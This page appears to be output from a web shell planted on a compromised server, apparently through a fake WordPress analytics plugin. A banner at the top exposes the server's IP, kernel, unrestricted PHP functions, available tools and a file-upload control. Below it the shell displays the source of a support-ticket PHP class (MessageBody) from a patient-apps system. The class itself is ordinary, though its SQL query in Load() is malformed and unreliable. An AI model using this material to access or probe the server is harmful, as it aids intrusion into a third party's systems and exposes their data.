Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_support/modules/ticket/model/ |
Upload File : |
<?php
use ZBateson\MailMimeParser\Header\HeaderConsts;
class MessageBody extends Database_Model {
private $messageid = NULL;
private $emailid = NULL;
private $ITEM;
private $changed;
public function MessageId() { // ticket_line table identifier
if (func_num_args()) {
$this->messageid = func_get_arg(0);
$this->Load();
return $this;
}
return $this->messageid;
}
public function TicketId() { // parent ticket number
if (func_num_args()) {
$this->ITEM->tc_ticket = func_get_arg(0);
$this->changed = TRUE;
return $this;
}
return $this->ITEM->tc_ticket ?? NULL;
}
public function Content() {
if (func_num_args()) {
$this->ITEM->tc_content = trim(func_get_arg(0));
$this->changed = TRUE;
return $this;
}
return $this->ITEM->tc_content ?? NULL;
}
public function MimeType() {
if (func_num_args()) {
$this->ITEM->tc_mimetype = trim(func_get_arg(0));
$this->changed = TRUE;
return $this;
}
return $this->ITEM->tc_mimetype;
}
public function DocType() {
if (func_num_args()) {
$this->ITEM->tc_type = trim(func_get_arg(0));
$this->changed = TRUE;
return $this;
}
return $this->ITEM->tc_type;
}
public function Author() {
if (func_num_args()) {
$this->ITEM->tc_createdby = trim(func_get_arg(0));
$this->changed = TRUE;
return $this;
}
return $this->ITEM->tc_createdby;
}
public function EmailId() { // email identifier -- Message-ID: <SDrUFbrkczJ2ubt1E7YzfG9jutL5hoDQjTd6GMYyEqI@support.example.com>
if (func_num_args()) {
$this->ITEM->tc_message_id = trim(func_get_arg(0));
$this->changed = TRUE;
return $this;
}
return $this->ITEM->tc_message_id;
}
public function Load() {
$this->changed = FALSE;
if (is_null($this->messageid)) {
$this->ITEM = new database_record($this); // always assume this is a new record
$this->ITEM->TableName('ticket_line')
->Autoinc('tc_id');
$this->ITEM->tc_id = NULL;
$this->ITEM->tc_type = 1; // incoming
} else {
$this->ITEM = $this->TableName('ticket_line')
->Query('select * from `ticket_line` as t '.
'trim(concat(u.name_first, " ", u.name_last)) as _name '.
'left join `users` as u on u.user_id=tc_createdby '
)
->where('tc_id=%d', $this->messageid)
->First();
}
return $this->ITEM;
}
public function ITEM() {
if (func_num_args()) {
$this->ITEM = func_get_arg(0);
$this->messageid = $this->ITEM->tc_id;
$this->changed = FALSE;
return $this;
}
return $this->ITEM;
}
public function Save() {
if ($this->changed) {
if ($this->ITEM->empty()) {
$this->ITEM->tc_createdon = time();
}
$this->ITEM->SaveRecord();
}
return (int) $this->ITEM->tc_id;
}
private function _adjustInlineImage($item, $item_id) {
$src = $item->getAttribute('src');
if (strtolower(substr($src, 0, 4)) == 'cid:') {
list($filler, $id) = explode(':', $src, 2);
$src = '/~/ticket/image/' . $item_id . '/' . $id;
$item->setAttribute('src', $src);
}
}
protected function _asHTML($content, $item_id) {
$dom = new DOMDocument();
$dom->loadHTML($content);
// filter out <script>, <style> and <head> tags
foreach(['script', 'style', 'head'] as $forbidden) {
$script = $dom->getElementsByTagName($forbidden);
$remove = [];
foreach($script as $item) {
$remove[] = $item;
}
foreach ($remove as $item) {
$item->parentNode->removeChild($item);
}
}
// adjust inline images
$entries = $dom->getElementsByTagName('img');
$images = [];
foreach($entries as $item) {
$images[] = $item;
}
foreach($images as $item) {
$this->_adjustInlineImage($item, $item_id);
}
$content = $dom->saveHTML();
return $content;
}
// ------------------------------------------------------------------
// filter out the previous messages
protected function DropHistory_text($content, $placeholder) {
$output = '';
$lines = explode("\n", $content);
foreach($lines as $line) {
$line = rtrim($line);
if (strpos($line, $placeholder) !== FALSE) {
break;
}
if (substr($line, 0, 1) <> '>') {
$output .= $line . "\n";
}
}
return $output;
}
protected function find($dom, $tagName, $attrName, $attrValue) {
$domxpath = new DOMXPath($dom);
$filtered = $domxpath->query("//{$tagName}[@{$attrName}=\"{$attrValue}\"]"); // '//' when you don't know 'absolute' path
return $filtered;
}
private function dropElement($dom, $tagName, $attrName, $attrValue) {
$results = $this->find($dom, $tagName, $attrName, $attrValue);
foreach($results as $result) {
$result->parentNode->removeChild($result);
}
}
protected function DropHistory_html($content) {
$dom = new DOMDocument();
$dom->loadHTML($content);
$this->dropElement($dom, 'div', 'class', 'gmail_extra'); // gmail
$this->dropElement($dom, 'div', 'class', 'gmail_quote'); // gmail
$this->dropElement($dom, 'div', 'class', 'x_gmail_quote'); // outlook
$this->dropElement($dom, 'div', 'id', 'divRplyFwdMsg'); // outlook
$this->dropElement($dom, 'blockquote', 'type', 'cite'); // aol
$content = $dom->saveHTML();
return $content;
}
public function DropHistory($content, $placeholder) {
$isHTML = $this->ITEM->tc_mimetype == 'text/html';
return $isHTML ? $this->DropHistory_html($content) : $this->DropHistory_text($content, $placeholder);
}
// ------------------------------------------------------------------
public function AsHtml() {
$isHTML = $this->ITEM->tc_mimetype == 'text/html';
return $isHTML ? $this->_asHTML($this->ITEM->tc_content, $this->messageid) : $this->ITEM->tc_content;
}
public function AsArray() {
$isHTML = $this->ITEM->tc_mimetype == 'text/html';
return [
'text' => $isHTML ? 0 : 1,
'content' => $this->AsHtml(),
'author' => $this->ITEM->_name,
'date' => $this->ITEM->tc_createdon,
'doctype' => $this->DocType(),
];
}
public function __debugInfo() {
return [
'id' => $this->MessageId(),
'ticket' => $this->TicketId(),
'mimetype' => $this->MimeType(),
'doctype' => $this->DocType(),
'author' => $this->Author(),
'emailid' => $this->EmailId(),
'content' => $this->Content(),
];
}
}